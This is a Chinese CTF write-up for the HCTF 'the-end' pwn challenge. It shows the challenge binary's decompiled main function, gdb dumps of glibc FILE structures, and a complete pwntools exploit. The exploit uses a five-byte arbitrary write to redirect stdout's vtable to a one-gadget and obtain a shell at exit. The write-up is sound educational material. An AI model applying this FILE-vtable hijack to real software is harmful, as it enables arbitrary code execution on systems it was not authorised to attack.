hctf[pwn] the-end

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  signed int i; // [rsp+4h] [rbp-Ch]
  void *buf; // [rsp+8h] [rbp-8h]

  sleep(0);
  printf("here is a gift %p, good luck ;)\n", &sleep);
  fflush(_bss_start);
  close(1);
  close(2);
  for ( i = 0; i <= 4; ++i )
  {
    read(0, &buf, 8uLL);
    read(0, buf, 1uLL);
  }
  exit(1337);
}

代码很简单首先是2个close
0表示stdin,1表示stdout,2表示stderr。
这里关闭了输出和错误流。在循环里面有一个任意地址写但是限制了写入最多5个字节。
程序中给出了libc的地址,可以找到stdin,stdout,stderr的地址。

pwndbg> print stdin
$1 = (struct _IO_FILE *) 0x7ffff7dd18e0 <_IO_2_1_stdin_>
pwndbg> print _IO_2_1_stdin_
$2 = {
  file = {
    _flags = 0xfbad2088, 
    _IO_read_ptr = 0x0, 
    _IO_read_end = 0x0, 
    _IO_read_base = 0x0, 
    _IO_write_base = 0x0, 
    _IO_write_ptr = 0x0, 
    _IO_write_end = 0x0, 
    _IO_buf_base = 0x0, 
    _IO_buf_end = 0x0, 
    _IO_save_base = 0x0, 
    _IO_backup_base = 0x0, 
    _IO_save_end = 0x0, 
    _markers = 0x0, 
    _chain = 0x0, 
    _fileno = 0x0, 
    _flags2 = 0x0, 
    _old_offset = 0xffffffffffffffff, 
    _cur_column = 0x0, 
    _vtable_offset = 0x0, 
    _shortbuf = "", 
    _lock = 0x7ffff7dd3790 <_IO_stdfile_0_lock>, 
    _offset = 0xffffffffffffffff, 
    _codecvt = 0x0, 
    _wide_data = 0x7ffff7dd19c0 <_IO_wide_data_0>, 
    _freeres_list = 0x0, 
    _freeres_buf = 0x0, 
    __pad5 = 0x0, 
    _mode = 0x0, 
    _unused2 = '\000' 
  }, 
  vtable = 0x7ffff7dd06e0 <_IO_file_jumps>
}

记得之前遇到过伪造vtable劫持程序执行流,回忆一下
参考https://ctf-wiki.github.io/ctf-wiki/pwn/linux/io_file/introduction/
或者看一下https://ctf-wiki.github.io/ctf-wiki/pwn/linux/io_file/introduction/

就是在调用exit函数的时候会先清空流,这些流会以链的形式存放每个流会维持一个上面的结构体。
在清空流的时候会调用vtable里面的

pwndbg> print _IO_file_jumps
$3 = {
  __dummy = 0x0, 
  __dummy2 = 0x0, 
  __finish = 0x7ffff7a869c0 <_IO_new_file_finish>, 
  __overflow = 0x7ffff7a87730 <_IO_new_file_overflow>, 
  __underflow = 0x7ffff7a874a0 <_IO_new_file_underflow>, 
  __uflow = 0x7ffff7a88600 <__GI__IO_default_uflow>, 
  __pbackfail = 0x7ffff7a89980 <__GI__IO_default_pbackfail>, 
  __xsputn = 0x7ffff7a861e0 <_IO_new_file_xsputn>, 
  __xsgetn = 0x7ffff7a85ec0 <__GI__IO_file_xsgetn>, 
  __seekoff = 0x7ffff7a854c0 <_IO_new_file_seekoff>, 
  __seekpos = 0x7ffff7a88a00 <_IO_default_seekpos>, 
  __setbuf = 0x7ffff7a85430 <_IO_new_file_setbuf>, 
  __sync = 0x7ffff7a85370 <_IO_new_file_sync>, 
  __doallocate = 0x7ffff7a7a180 <__GI__IO_file_doallocate>, 
  __read = 0x7ffff7a861a0 <__GI__IO_file_read>, 
  __write = 0x7ffff7a85b70 <_IO_new_file_write>, 
  __seek = 0x7ffff7a85970 <__GI__IO_file_seek>, 
  __close = 0x7ffff7a85340 <__GI__IO_file_close>, 
  __stat = 0x7ffff7a85b60 <__GI__IO_file_stat>, 
  __showmanyc = 0x7ffff7a89af0 <_IO_default_showmanyc>, 
  __imbue = 0x7ffff7a89b00 <_IO_default_imbue>
}

具体是std三个流中的哪一个还不确定,暂时以stdin作为例子。

上面给出的链接里面说是调用__overflow = 0x7ffff7a87730 <_IO_new_file_overflow>,但是gdb下断点(测试过,并不是因为关闭了2个流)发现并没有调用,原因不清楚。
但是作为一个傲娇的pwn爷爷并不能这样放弃,在_IO_file_jumps结构体里多有函数都下了一个断点(有好多个_IO_2_1_stdin_这种类似结构但是所有的vtable项都会指向一个地址)然后发现第一次断到了__setbuf = 0x7ffff7a85430 <_IO_new_file_setbuf>,地址处,第二次断到了__sync = 0x7ffff7a85370 <_IO_new_file_sync>,地址处。

思路有了:把这个地址替换掉。


分界线


但是发现vtable不能直接写入,那就直接伪造vtable结构但是能写的只有5个字节。
试了一下,发现stdin的_IO_2_1_stdin_结构是可以写的。

修改什么,修改成什么?

pwndbg> print stdin
$4 = (struct _IO_FILE *) 0x7ffff7dd18e0 <_IO_2_1_stdin_>
pwndbg> x /50xg 0x7ffff7dd18e0
0x7ffff7dd18e0 <_IO_2_1_stdin_>:	0x00000000fbad2088	0x0000000000000000
0x7ffff7dd18f0 <_IO_2_1_stdin_+16>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd1900 <_IO_2_1_stdin_+32>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd1910 <_IO_2_1_stdin_+48>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd1920 <_IO_2_1_stdin_+64>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd1930 <_IO_2_1_stdin_+80>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd1940 <_IO_2_1_stdin_+96>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd1950 <_IO_2_1_stdin_+112>:	0x0000000000000000	0xffffffffffffffff
0x7ffff7dd1960 <_IO_2_1_stdin_+128>:	0x0000000000000000	0x00007ffff7dd3790
0x7ffff7dd1970 <_IO_2_1_stdin_+144>:	0xffffffffffffffff	0x0000000000000000
0x7ffff7dd1980 <_IO_2_1_stdin_+160>:	0x00007ffff7dd19c0	0x0000000000000000
0x7ffff7dd1990 <_IO_2_1_stdin_+176>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd19a0 <_IO_2_1_stdin_+192>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd19b0 <_IO_2_1_stdin_+208>:	0x0000000000000000	0x00007ffff7dd06e0

这里的0x7ffff7dd19b0 <_IO_2_1_stdin_+208>: 0x0000000000000000 0x00007ffff7dd06e0就是vtable的地址,这里把vtable的地址改到_IO_2_1_stdin_只需要2个字节,可以实现。
接下来需要确定__setbuf = 0x7ffff7a85430 <_IO_new_file_setbuf>,_IO_file_jumps的偏移。在_IO_2_1_stdout_+64+8地址处到0x7ffff7dd1980 <_IO_2_1_stdin_+160>: 0x00007ffff7dd19c0 0x0000000000000000的距离刚好和_IO_file_jumps开始到setbuf的偏移是一样的(为什么要选取)0x7ffff7dd1980 <_IO_2_1_stdin_+160>: 0x00007ffff7dd19c0下面会说。

第一个问题解决了,需要把stdin里面的vtable指针修改为_IO_2_1_stdout_+64+8

p.send(p64(libc.symbols["_IO_2_1_stdout_"]+0xd8))
p.send(p64(libc.symbols["_IO_2_1_stdout_"]+64+8)[0])
p.send(p64(libc.symbols["_IO_2_1_stdout_"]+0xd9))
p.send(p64(libc.symbols["_IO_2_1_stdout_"]+64+8)[1])

接下来是修改0x7ffff7dd1980 <_IO_2_1_stdin_+160>: 0x00007ffff7dd19c0为one-gadget的地址。
现在知道为什么选这个地址了吧,因为选这里只需要修改3个字节就能修改成需要的地址(写入的地址只需要2个条件1、有写权限。2、修改3个字节就能写入一个lib库中的函数地址)。

p.send(p64(libc.symbols["_IO_2_1_stdout_"]+0xa0))
p.send(p64(sys_addr)[0])
p.send(p64(libc.symbols["_IO_2_1_stdout_"]+0xa1))
p.send(p64(sys_addr)[1])
#gdb.attach(p)
p.send(p64(libc.symbols["_IO_2_1_stdout_"]+0xa2))

接下来下一个问题来了,具体要复写哪一个流,测试后发现只有stdout可以劫持到程序执行流。
还有一个问题是获取到shell的one-gadget这里记录一个很有用的one-gadget
用ida加载库文件搜索字符串
hctf[pwn] the-end_第1张图片
找到第一个引用
hctf[pwn] the-end_第2张图片
黄色的地址处
这个one-gadget调试运行结果
hctf[pwn] the-end_第3张图片
但是不知道原因,在这个题里面无法获取到shell,尝试了所有的one-gadget之后还好出题人心不黑。
最后请教大佬(感谢)解决了shell命令执行后因为stdin关闭没办法回显的问题cat flag>&0
再次感谢大佬指点^_^

总结:其实pwn不需要固定的套路,一个思路,或者一个想法,重要的是动手来调试,测试。接下来就是过河搭桥了。

from pwn import *


cmd="cat flag>&0"


#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc=ELF("./libc64.so")
p=process("./the_end")

context.log_level='debug'

#sys_off=0x000000000004520F
sys_off=0xf02b0

p.recvuntil("gift ")
A_sleep=int(p.recv(14),16)
print "A_sleep="+hex(A_sleep)


libc.address=A_sleep-libc.symbols["sleep"]
sys_addr=libc.address+sys_off
print "system addr="+hex(sys_addr)

print hex(libc.symbols["_IO_2_1_stdin_"])

p.recvuntil("\n")
p.send(p64(libc.symbols["_IO_2_1_stdout_"]+0xd8))
p.send(p64(libc.symbols["_IO_2_1_stdout_"]+64+8)[0])
p.send(p64(libc.symbols["_IO_2_1_stdout_"]+0xd9))
p.send(p64(libc.symbols["_IO_2_1_stdout_"]+64+8)[1])


p.send(p64(libc.symbols["_IO_2_1_stdout_"]+0xa0))
p.send(p64(sys_addr)[0])
p.send(p64(libc.symbols["_IO_2_1_stdout_"]+0xa1))
p.send(p64(sys_addr)[1])
gdb.attach(p)
p.send(p64(libc.symbols["_IO_2_1_stdout_"]+0xa2))
p.send(p64(sys_addr)[2])
p.sendline(cmd)
p.interactive()

你可能感兴趣的:(漏洞利用技巧)